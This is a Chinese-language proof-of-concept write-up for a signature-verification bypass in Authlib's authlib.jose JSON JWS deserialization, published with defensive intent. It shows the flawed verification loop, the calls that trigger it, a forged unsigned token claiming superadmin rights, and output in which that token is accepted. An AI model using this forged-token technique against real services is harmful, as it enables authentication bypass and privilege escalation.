针对 Authlib 的 authlib.jose 模块中签名验证绕过的概念验证。JsonWebSignature.deserialize_json() 接受一个带有空 signatures 数组的 General JSON JWS 对象,并将攻击者控制的 payload 作为验证成功的结果返回——无需密钥,不检查签名。
受影响: Authlib ≤ 1.7.2,authlib.jose 模块
不受影响: 紧凑 JWT 路径(jwt.decode())。此缺陷特定于 JSON 序列化 JWS API。
CWE: CWE-347(加密签名验证不当)、CWE-670、CWE-358
状态: 在 1.7.x 中未修补——authlib.jose 模块在 Authlib 1.8 中被完全移除,而非修复。任何锁定在 1.8 以下的部署仍然暴露。
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid 被初始化为 True,并且只会在循环体内被翻转。当 signatures 为 [] 时,循环执行零次,不会执行任何验证逻辑,函数便返回成功——这是一个典型的空真(vacuous-truth)缺陷。两个公开入口点都受到影响:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
任何通过 deserialize_json() 或 deserialize() 验证攻击者可控的 JSON JWS 输入的应用程序,都会失去对该输入的真实性/完整性保证:
sub、role、会话声明scope、tenant、permissions 声明git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
这三个用例精确地隔离了该缺陷:使用错误密钥的真实签名被正确拒绝,使用正确密钥的真实签名被正确接受,而空签名列表——本应是最应被拒绝的情况——却被静默接受。
authlib.jose 已弃用为由关闭(未发布修复):7 月 30 日authlib.jose 在 Authlib 1.8 中被移除(未作为修复回移植)由 uziii2208 和 nguyenminhtuan28 发现并报告。
本 PoC 出于教育和防御目的发布——旨在帮助维护者、安全团队和下游用户理解并修复该问题。请勿用于未经您拥有或未获得明确授权测试的系统。